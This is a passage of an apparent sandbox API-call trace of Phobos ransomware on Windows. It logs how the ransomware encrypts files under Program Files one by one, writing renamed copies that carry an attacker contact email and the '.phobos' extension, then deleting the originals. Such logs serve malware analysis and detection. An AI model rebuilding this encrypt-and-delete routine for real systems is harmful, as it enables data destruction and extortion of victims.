pdwDataLen=0x2d4fe40*=0x50) returned 1 [0133.816] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.816] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0133.816] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.816] CloseHandle (hObject=0x2f8) returned 1 [0133.816] CloseHandle (hObject=0x2f4) returned 1 [0133.816] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0133.817] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.817] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=367216) returned 1 [0133.817] CloseHandle (hObject=0x2f4) returned 1 [0133.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0133.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.818] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.818] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.818] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752e58) returned 1 [0133.818] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.818] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x59a70, lpOverlapped=0x0) returned 1 [0133.943] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x59a80, dwBufLen=0x59a80 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x59a80) returned 1 [0133.943] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x59a80, lpOverlapped=0x0) returned 1 [0134.004] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d18) returned 1 [0134.004] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.004] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.004] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.004] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.004] CryptDestroyKey (hKey=0x752e58) returned 1 [0134.004] CloseHandle (hObject=0x2f4) returned 1 [0134.004] CloseHandle (hObject=0x2f8) returned 1 [0134.004] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0134.008] SetEvent (hEvent=0x298) returned 1 [0134.008] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.095] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=17048) returned 1 [0134.095] CloseHandle (hObject=0x2f4) returned 1 [0134.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0134.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.095] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.095] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.096] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ad8) returned 1 [0134.096] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.096] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4298, lpOverlapped=0x0) returned 1 [0134.148] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x42a0, dwBufLen=0x42a0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x42a0) returned 1 [0134.148] WriteFile (in: hFile=0x300, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x42a0, lpOverlapped=0x0) returned 1 [0134.149] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0134.149] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.149] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.149] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.149] WriteFile (in: hFile=0x300, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.149] CryptDestroyKey (hKey=0x752ad8) returned 1 [0134.149] CloseHandle (hObject=0x2f4) returned 1 [0134.149] CloseHandle (hObject=0x300) returned 1 [0134.149] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0134.150] SetEvent (hEvent=0x298) returned 1 [0134.150] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.150] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=22680) returned 1 [0134.150] CloseHandle (hObject=0x300) returned 1 [0134.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0134.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.151] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.151] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.151] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753018) returned 1 [0134.151] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.151] ReadFile (in: hFile=0x300, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x5898, lpOverlapped=0x0) returned 1 [0134.265] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x58a0, dwBufLen=0x58a0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x58a0) returned 1 [0134.265] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x58a0, lpOverlapped=0x0) returned 1 [0134.268] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e18) returned 1 [0134.268] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.268] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.268] CryptDestroyKey (hKey=0x752e18) returned 1 [0134.268] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.268] CryptDestroyKey (hKey=0x753018) returned 1 [0134.268] CloseHandle (hObject=0x300) returned 1 [0134.268] CloseHandle (hObject=0x2f4) returned 1 [0134.270] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0134.271] SetEvent (hEvent=0x298) returned 1 [0134.272] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.273] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=54272) returned 1 [0134.273] CloseHandle (hObject=0x2b4) returned 1 [0134.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0134.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.274] SetEvent (hEvent=0x298) returned 1 [0134.274] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.274] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=501760) returned 1 [0134.274] CloseHandle (hObject=0x2b4) returned 1 [0134.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0134.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.274] SetEvent (hEvent=0x298) returned 1 [0134.274] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.275] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=224256) returned 1 [0134.275] CloseHandle (hObject=0x2b4) returned 1 [0134.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0134.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.275] SetEvent (hEvent=0x298) returned 1 [0134.275] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.276] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=824128) returned 1 [0134.276] CloseHandle (hObject=0x2b4) returned 1 [0134.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0134.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.277] SetEvent (hEvent=0x298) returned 1 [0134.277] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.290] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=452) returned 1 [0134.290] CloseHandle (hObject=0x2b4) returned 1 [0134.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0134.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.290] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.290] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.291] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752fd8) returned 1 [0134.291] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.291] ReadFile (in: hFile=0x2b4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x1c4, lpOverlapped=0x0) returned 1 [0134.292] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x1d0) returned 1 [0134.292] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x1d0, lpOverlapped=0x0) returned 1 [0134.293] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753018) returned 1 [0134.293] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.293] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.293] CryptDestroyKey (hKey=0x753018) returned 1 [0134.293] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.297] CryptDestroyKey (hKey=0x752fd8) returned 1 [0134.297] CloseHandle (hObject=0x2b4) returned 1 [0134.297] CloseHandle (hObject=0x2f8) returned 1 [0134.297] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0134.298] SetEvent (hEvent=0x298) returned 1 [0134.298] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.298] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=75776) returned 1 [0134.298] CloseHandle (hObject=0x2f8) returned 1 [0134.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe")) returned 0x20 [0134.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\wage.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\wage.exe" (normalized: "c:\\program files\\internet explorer\\wage.exe"), 